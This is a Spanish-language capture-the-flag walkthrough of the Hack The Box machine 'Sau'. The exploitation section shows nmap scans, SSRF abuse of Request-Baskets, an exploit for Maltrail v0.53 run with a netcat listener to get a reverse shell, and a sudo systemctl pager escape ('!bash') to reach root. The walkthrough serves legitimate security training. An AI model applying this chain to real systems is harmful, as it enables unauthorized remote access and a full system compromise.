HTB Sau
Resumen
Sau es una máquina en la que se debe hacer uso del software Request-Basket, del cual se debe abusar para generar un SSRF. Gracias a esto, se puede observar que de manera interna, la máquina está utilizando una versión vulnerable de Maltrail, a través de la cual se pueden ejecutar comandos. Después de ganar acceso, solo es necesario revisar los privilegios a nivel de sudoers del usuario para descubrir algo interesante. Es una máquina corta pero interesante, ideal para practicar la explotación de la vulnerabilidad SSRF y la enumeración de versiones.
Reconocimiento
Para empezar, se realiza un ping para determinar con qué sistema operativo cuenta la máquina.
1
2
3
4
5
6
7
❯ ping -c 1 10.10.11.224
PING 10.10.11.224 (10.10.11.224) 56(84) bytes of data.
64 bytes from 10.10.11.224: icmp_seq=1 ttl=63 time=114 ms
--- 10.10.11.224 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 114.204/114.204/114.204/0.000 ms
Por eso se puede asumir que es Linux.
Escaneo de puertos
Ahora, el proceso a seguir es realizar un escaneo para determinar qué puertos están ejecutando un servicio.
1
2
3
4
5
6
7
8
9
10
❯ sudo nmap -p- --min-rate 3000 10.10.11.224 -oG openPorts -Pn -sS
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-07 19:04 -05
Nmap scan report for 10.10.11.224 (10.10.11.224)
PORT STATE SERVICE
22/tcp open ssh
80/tcp filtered http
8338/tcp filtered unknown
55555/tcp open unknown
Con esta información, es posible llevar a cabo un escaneo más detallado para identificar las versiones de cada servicio.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
❯ sudo nmap -p22,55555,80,8338 -sVC --min-rate 3000 10.10.11.224 -Pn -sS -oN versions
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 aa8867d7133d083a8ace9dc4ddf3e1ed (RSA)
| 256 ec2eb105872a0c7db149876495dc8a21 (ECDSA)
|_ 256 b30c47fba2f212ccce0b58820e504336 (ED25519)
80/tcp filtered http
8338/tcp filtered unknown
55555/tcp open unknown
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Sun, 08 Oct 2023 00:06:18 GMT
| Content-Length: 75
| invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Content-Type: text/html; charset=utf-8
| Location: /web
| Date: Sun, 08 Oct 2023 00:05:50 GMT
| Content-Length: 27
| href="/web">Found</a>.
| HTTPOptions:
| HTTP/1.0 200 OK
| Allow: GET, OPTIONS
| Date: Sun, 08 Oct 2023 00:05:51 GMT
|_ Content-Length: 0
Enumeración
Se puede comprobar qué se está ejecutando en el puerto 55555 desde el navegador.
En esta, se puede observar la versión que está en ejecución y una opción que aparentemente permite crear una URL con la que se podría intentar llevar a cabo una acción.
Request Baskets is a web service to collect arbitrary HTTP requests and inspect them via RESTful API or simple web UI.
Al buscar en internet acerca de la versión que podría ser vulnerable a una vulnerabilidad de solicitud de servidor a servidor (SSRF), se podría intentar acceder a recursos dentro de la máquina, como los dos puertos que fueron listados previamente pero estaban filtrados.
Explotación
Para esto, se puede intentar encaminar la solicitud web hacia la dirección local para confirmar que se está llevando a cabo de la manera deseada.
Cuando se pone a la escucha con Python en ese puerto, se puede observar que se recibe la solicitud y se accede a la URL relacionada con la cesta, en este caso, http://10.10.11.224:55555/Gansito.
1
2
3
4
❯ python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
10.10.11.224 - - [07/Oct/2023 19:41:47] "GET / HTTP/1.1" 200 -
Ahora, es importante tener en cuenta que la máquina tenía un servicio que estaba siendo filtrado en el puerto 80, por lo que teóricamente podría ser accesible mediante el SSRF.
Y al revisar dentro de la URL, se puede observar lo siguiente.
MalTrail es una herramienta opensource, hecha en Python, destinada a analizar el tráfico de red con el fin de detectar y registrar posibles amenazas.
Al buscar información sobre MalTrail v0.53, se encuentra lo siguiente.
Al identificar que es vulnerable a una ejecución remota de comandos (RCE), se puede utilizar el siguiente Github
1
nc -lvp 4444
1
python3 exploit.py [listening_IP] [listening_PORT] [target_URL]
1
❯ python3 exploit.py 10.10.15.135 4444 http://10.10.11.224:55555/Gansito/login
Y de esta manera, se puede obtener una shell reversa.
1
2
3
4
5
6
7
puma@sau:/opt/maltrail$ whoami
puma
puma@sau:/opt/maltrail$ hostname -I
10.10.11.224 dead:beef::250:56ff:feb9:23a4
puma@sau:/opt/maltrail$ hostname
sau
puma@sau:/opt/maltrail$
Escalada de Privilegios
Al revisar los privilegios a nivel de sudoers de la máquina, se puede observar que el usuario actual tiene la capacidad de ejecutar systemctl.
1
2
3
4
sudo -l
User puma may run the following commands on sau:
(ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
Por lo que se puede ejecutar el comando:
1
sudo /usr/bin/systemctl status trail.service
Puedes buscar información en GTFObins, una fuente útil para encontrar técnicas de escape de privilegios en sistemas Unix y Linux.
Por lo que se puede ejecutar el comando !bash
y se obtiene acceso como root.
1
2
3
root@sau:~# whoami
root
root@sau:~#